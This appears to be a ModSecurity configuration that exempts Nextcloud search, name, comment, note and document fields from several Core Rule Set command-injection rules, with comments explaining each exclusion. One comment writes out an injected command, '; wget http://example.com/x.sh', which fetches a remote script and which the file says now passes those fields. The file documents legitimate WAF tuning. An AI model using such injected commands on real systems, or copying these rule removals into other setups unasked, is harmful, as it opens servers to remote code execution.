# The fourteenth change: on Nextcloud's paths, some fields skip the rules that # refused ordinary Nextcloud requests there. They are the fields where Nextcloud # sends a search, a name, a file name, a folder, a comment, a note, a status or # a document's text. Each exclusion runs with the request, before the rules it # switches off, so this file is loaded before the Core Rule Set's rules. Each # comment names a request a rule refused. An exclusion on a field of a JSON body # applies only when the query has no parameter of that name, so it matters only # while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched # at the site root and under /index.php/, where a Nextcloud without pretty URLs # serves them. # # Four rules read a search or a name as a command or a system file: # 930120: .htaccess # 932120: powershell # 932250: ls -la # 932260: python3 # Each exclusion below removes these four from its fields. # # A comment, a share's note and an account's status hold sentences a person # writes. Four more rules refused ordinary sentences there: # 932125: It is fixed; diff attached # 932230: Run python3 or powershell; ls -la shows .htaccess # 932235: We need more time; find the old notes first # 932380: Tested on Windows; powershell works # The text of a document holds such sentences too, and code blocks. Two more # rules refused a shell script in a code block: # 932160: #!/bin/bash # 932370: ```bash, which starts the code block # These fields skip the rules that refused them. So a shell command such as # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL # injection, path traversal and script injection are still refused there. # The sync client and the Files app use these WebDAV methods besides those # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each: # PROPFIND, PROPPATCH: listing a folder, marking a file a favourite # MKCOL: making a folder, and starting a chunked upload # COPY, MOVE: copying, moving and renaming, and ending a chunked upload # REPORT: listing favourites and comments # SEARCH: the Files app's search # LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file" SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \ "id:900100,phase:1,pass,nolog,\ setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'" # Nextcloud keeps the name of the account signed in in the cookie nc_username, # which every request sends, on every path. Each request of the account # python3 was refused. SecAction "id:900101,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\ ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\ ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\ ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username" # Signing in, in the query or the body: # user, password: user=python3&password=Example-pass-python3 # redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \ "id:900102,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/" # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules. SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \ "id:900103,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:dir,\ ctl:ruleRemoveTargetById=932120;ARGS:dir,\ ctl:ruleRemoveTargetById=932250;ARGS:dir,\ ctl:ruleRemoveTargetById=932260;ARGS:dir" # The file names on a public share's page. A preview names its file in file: # /apps/files_sharing/publicpreview/?file=/powershell+profile.ps1 SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \ "id:900104,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:file,\ ctl:ruleRemoveTargetById=932120;ARGS:file,\ ctl:ruleRemoveTargetById=932250;ARGS:file,\ ctl:ruleRemoveTargetById=932260;ARGS:file" # A download names its folder in path and its files in files: # /s//download?path=/&files=powershell%20profile.ps1 SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \ "id:900105,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/" # The OCS API's searches and names, in the query, a form data body or a JSON # body: # search: /ocs/v2.php/cloud/users/details?search=python3, and the same on # cloud/users, cloud/groups, cloud/groups/details and the sharees # term, from: /ocs/v2.php/search/providers/files/search?term=python3 # groupid, userid, displayName: adding the group "Python3 admins" and the # account python3, displayName=Ls+-la+Example # groups[], or groups in JSON: the groups of a new account, # groups[]=Python3+admins # value: changing an account's name, address or headline, value=Powershell+Lane # path, label, shareWith: sharing the folder "/ls -la output" with the # label "python3 link" SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \ "id:900106,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/" SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \ "id:900107,phase:1,pass,nolog,chain" SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/" # A share's note, in the query, a form data body or a JSON body, on a new # share or a changed one: {"note":"It is fixed; diff attached"}. SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \ "id:900108,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:note,\ ctl:ruleRemoveTargetById=932120;ARGS:note,\ ctl:ruleRemoveTargetById=932125;ARGS:note,\ ctl:ruleRemoveTargetById=932230;ARGS:note,\ ctl:ruleRemoveTargetById=932235;ARGS:note,\ ctl:ruleRemoveTargetById=932250;ARGS:note,\ ctl:ruleRemoveTargetById=932260;ARGS:note,\ ctl:ruleRemoveTargetById=932380;ARGS:note" SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \ "id:900109,phase:1,pass,nolog,chain" SecRule &ARGS_GET:json.note "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:json.note,\ ctl:ruleRemoveTargetById=932120;ARGS:json.note,\ ctl:ruleRemoveTargetById=932125;ARGS:json.note,\ ctl:ruleRemoveTargetById=932230;ARGS:json.note,\ ctl:ruleRemoveTargetById=932235;ARGS:json.note,\ ctl:ruleRemoveTargetById=932250;ARGS:json.note,\ ctl:ruleRemoveTargetById=932260;ARGS:json.note,\ ctl:ruleRemoveTargetById=932380;ARGS:json.note" # An account's status, in the query, a form data body or a JSON body: # {"message":"Tested on Windows; powershell works"}. SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \ "id:900110,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=930120;ARGS:message,\ ctl:ruleRemoveTargetById=932120;ARGS:message,\ ctl:ruleRemoveTargetById=932125;ARGS:message,\ ctl:ruleRemoveTargetById=932230;ARGS:message,\ ctl:ruleRemoveTargetById=932235;ARGS:message,\ ctl:ruleRemoveTargetById=932250;ARGS:message,\ ctl:ruleRemoveTargetById=932260;ARGS:message,\ ctl:ruleRemoveTargetById=932380;ARGS:message" SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \ "id:900111,phase:1,pass,nolog,chain" SecRule &ARGS_GET:json.message "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:json.message,\ ctl:ruleRemoveTargetById=932120;ARGS:json.message,\ ctl:ruleRemoveTargetById=932125;ARGS:json.message,\ ctl:ruleRemoveTargetById=932230;ARGS:json.message,\ ctl:ruleRemoveTargetById=932235;ARGS:json.message,\ ctl:ruleRemoveTargetById=932250;ARGS:json.message,\ ctl:ruleRemoveTargetById=932260;ARGS:json.message,\ ctl:ruleRemoveTargetById=932380;ARGS:json.message" # The name and slogan in the theming admin settings, in the JSON field value: # {"setting":"slogan","value":"ls -la and .htaccess"}. SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \ "id:900112,phase:1,pass,nolog,chain" SecRule &ARGS_GET:json.value "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:json.value,\ ctl:ruleRemoveTargetById=932120;ARGS:json.value,\ ctl:ruleRemoveTargetById=932250;ARGS:json.value,\ ctl:ruleRemoveTargetById=932260;ARGS:json.value" # The Text editor saves a document, such as a folder's Readme.md, with its # path in the JSON field filePath and its text in autosaveContent. The text # skips the rules for sentences and code blocks too. SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \ "id:900113,phase:1,pass,nolog,chain" SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\ ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\ ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\ ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\ ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\ ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\ ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\ ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent" # A comment on a file, in the JSON field message of a new comment, and in the # XML body of an edited one. It skips the rules for sentences too. An edited # comment's XML holds nothing else a person writes. SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \ "id:900114,phase:1,pass,nolog,chain" SecRule &ARGS_GET:json.message "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:json.message,\ ctl:ruleRemoveTargetById=932120;ARGS:json.message,\ ctl:ruleRemoveTargetById=932125;ARGS:json.message,\ ctl:ruleRemoveTargetById=932230;ARGS:json.message,\ ctl:ruleRemoveTargetById=932235;ARGS:json.message,\ ctl:ruleRemoveTargetById=932250;ARGS:json.message,\ ctl:ruleRemoveTargetById=932260;ARGS:json.message,\ ctl:ruleRemoveTargetById=932380;ARGS:json.message" SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \ "id:900115,phase:1,pass,nolog,chain" SecRule REQUEST_METHOD "@streq PROPPATCH" \ "ctl:ruleRemoveTargetById=930120;XML:/*,\ ctl:ruleRemoveTargetById=932120;XML:/*,\ ctl:ruleRemoveTargetById=932125;XML:/*,\ ctl:ruleRemoveTargetById=932230;XML:/*,\ ctl:ruleRemoveTargetById=932235;XML:/*,\ ctl:ruleRemoveTargetById=932250;XML:/*,\ ctl:ruleRemoveTargetById=932260;XML:/*,\ ctl:ruleRemoveTargetById=932380;XML:/*" # The Files app's search sends its words in the XML body of a SEARCH request, # %python3%, which holds nothing else a person writes. SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \ "id:900116,phase:1,pass,nolog,chain" SecRule REQUEST_METHOD "@streq SEARCH" \ "ctl:ruleRemoveTargetById=930120;XML:/*,\ ctl:ruleRemoveTargetById=932120;XML:/*,\ ctl:ruleRemoveTargetById=932250;XML:/*,\ ctl:ruleRemoveTargetById=932260;XML:/*" # The name of a new tag, in the JSON field name: {"name": "python3"}. SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \ "id:900117,phase:1,pass,nolog,chain" SecRule &ARGS_GET:json.name "@eq 0" \ "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932260;ARGS:json.name" # A file the Files app or the sync client uploads with PUT to the WebDAV # paths is a file, not form data. Read as fields, a JSON file holding # "python3 -m pytest" was refused (932260), and an XML file holding # "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked # RAW, a kind of body sww does not read. Its headers, path and query are # still checked. SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \ "id:900118,phase:1,pass,nolog,chain" SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"